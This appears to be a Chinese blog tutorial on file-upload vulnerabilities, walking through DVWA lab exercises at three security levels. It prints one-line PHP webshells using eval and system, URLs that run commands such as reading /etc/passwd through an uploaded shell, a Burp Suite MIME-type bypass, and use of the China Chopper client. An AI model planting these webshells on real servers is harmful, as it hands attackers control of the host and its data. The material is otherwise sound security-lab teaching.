首页 > 其他分享 >文件上传漏洞

文件上传漏洞

时间:2023-04-03 23:26:28浏览次数:37  
标签:Web 菜刀 文件 漏洞 木马 php 上传

文件上传漏洞原理

1、文件上传( File Upload )是大部分web应用都具备的功能,例如用户上传附件、修改头像、分享图片/视频等 2、正常的文件一般是文档、 图片、视频等, Web应用收集之后放入后台存储,需要的时候再调用出来返回 3、如果恶意文件如PHP、ASP等执行文件绕过Web应用,并顺利执行,则相当于黑客直接拿到了Webshell 4、一旦黑客拿到Webshell,则可以拿到Web应用的数据,删除Web文件,本地提权,进步拿下整个服务器甚至 内网 5、SQL注入攻击的对象是数据库服务,文件上传漏洞主要攻击web服务,实际渗透两种相结合,达到对目标的深 度控制

实验过程:

实验一:

低安全模式下,上传任意类型的文件,文件大小限制

PHP源码

 

实验二:

中安全模式下,绕过类型上传文件[文件mime类型]

上传非指定类型的文件失败

可以看到上面的php源码,它是通过识别content-type 数据类型描述来识别你发的是不是jpeg格式,通过BurpSuite抓包修改对应参数,再forward重放就能完成上传操作

实验三:

高安全模式-上传一句话图片木马 [文件后缀限制]

Webshell

小马: 一句话木马也称为小马,即整个shell代码量只有一行, 一般是系统执行函数 大马:代码量和功能比小马多. -般会进行二次编码加密.防止被安全防火墙/入侵系统检测到

shell2.php #eval 使用php函数,例如phpinfo();

<?php eval($_REQUEST['root']);?> # [ ]里面的是连接的密码也就是root

http://192.168.1.132/dvwa/hackable/uploads/shell2.php?cmd=phpinfo();

shell3. php #system 使用Linux系统命令,例如ls,cp,rm

<?php system($_REQUEST['root']);?>

http://192.168.1.132/dvwa/hackable/uploads/shell3php?yangge=cat/etc/passwd

编写一句话木马,使用的是php函数

上传成功

复制路径,粘贴至后面。

中国菜刀

<?php @eval($_POST['root']);?>

说明 REQUEST是在网页端输入变量访问,POST则是使用像中国菜刀之类的工具连接,是C/S架构。

 

编写一句话木马,通过post参数,可以用中国菜刀连接

 

上传木马

打开中国菜刀,复制路径http://192.168.1.132/dvwa/vulnerabilities/upload/../../hackable/uploads/shell.php 也就是上传木马的完整路径。密码填选[ ]里的,也就是root

进行数据库连接

解释:

<T>数据库类型(type)</T>

<H>数据库地址(host)</H>

<U>用户名(user)</U>

<P>密码(password)</P>

<L>编码</L>

 

标签:Web,菜刀,文件,漏洞,木马,php,上传
From: https://www.cnblogs.com/Wesuiliye/p/17284840.html

相关文章

  • C语言逆向——预处理之宏定义、条件编译与文件包含
    预处理之宏定义、条件编译与文件包含预处理一般是指在程序源代码被转换为二进制代码之前,由预处理器对程序源代码文本进行处理,处理后的结果再由编译器进一步编译。预处理功能主要包括宏定义、文件包含、条件编译三部分。宏定义简单的宏:#define标识符字符序列#defineFALS......
  • 利用Python写入CSV文件的方法
    利用Python写入CSV文件的方法  #!/usr/bin/envpython#_*_coding:utf-8_*_importcsvcsvfile=file('test.csv','wb')csvfile.write(u'\ufeff'.encode('utf8'))writer=csv.writer(csvfile)writer.writerow(['id&......
  • 技嘉 B360 HD3 Core i7-8700 GTX1060黑苹果efi引导文件
    原文来源于黑果魏叔官网,转载需注明出处。(下载请直接百度黑果魏叔)硬件型号驱动情况主板技嘉B360HD3(B360芯片组)处理器英特尔[email protected]六核已驱动内存32GB(现代DDR42666MHz16GB/金邦DDR43000MHz16GB)已驱动硬盘技嘉GP-GSTFS31120GNTD(120GB/固态硬......
  • [计算机图形学] OpenGL读取obj文件并显示其3D效果
       读取三维网格模型(WavefrontOBJ文件)无法向立方体:cube.obj有法向兔子模型:bunny.obj有法向有纹理八字模型:Eight.objOBJ文件的格式可参考:http://www.cnblogs.com/youthlion/archive/2013/01/21/2870451.html 利用OpenGL显示该模型的绘制效果(全部)顶点显示线条显示面片显示 核心......
  • Excel快速创建大量文件夹
    操作步骤:1.在需要创建的队名前面一列,输入MD,进行复制  2.创建一个txt文本文档,将复制的内容添加进去  3.进行另存为,将编码更改为ANSI,后缀名称改为.bat  4.修改完成后文件图标会变成如所示 5.双击后就可以生成文件夹  ......
  • Python的web框架自动生成readme文件的第三方模块介绍以及使用方法
    第一步安装pipinstalldjango-readme-generator第二步在Django项目配置文件文件中的INSTALLED_APPS配置中注册一下INSTALLED_APPS=[ django_readme_generator,]第三步命令运行产生readme文件pythonmanage.pygenerate_readme其实很简单,以上三步可以轻轻松松的自动......
  • Postman文件上传报错:The current request is not a multipart request解决方法
    主要报错语句为: Thecurrentrequestisnotamultipartrequest就是说当前这个请求不是一个multipartrequest,也就是说不是上传文件的请求。那怎么办呢?这里我们需要知道一点,spring在处理入参的时候,遇到MultipartFile相关就会先去校验。(在controller中会用MultipartFile......
  • 第八章:文件操作
    第八章文件操作目录第八章文件操作1文件读取1将文件整个读取内存2按字节读取文件1文件读取1将文件整个读取内存类似于python的withopen(filename,mode='rt',encoding='utf-8')asf:res=f.read()go中的书写方式:方式一:packagemainimport( "fmt" ......
  • LG Ultra PC 15U480-KA56K黑苹果efi引导文件
    原文来源于黑果魏叔官网,转载需注明出处。(下载请直接百度黑果魏叔)硬件型号驱动情况主板LGUltraPC15U480-KA56K处理器Intel8thGenKabyLakeRefreshCorei5-8250U3.40GHz已驱动内存DDR4PC4-192002400MHz8GB已驱动硬盘KingstonSA400S37120GSATA32.5SSD已驱动显卡I......
  • css学习:加载页面出现选择哪个文件观看或下载
         观察发现是文件写错了,html前没有“.” ......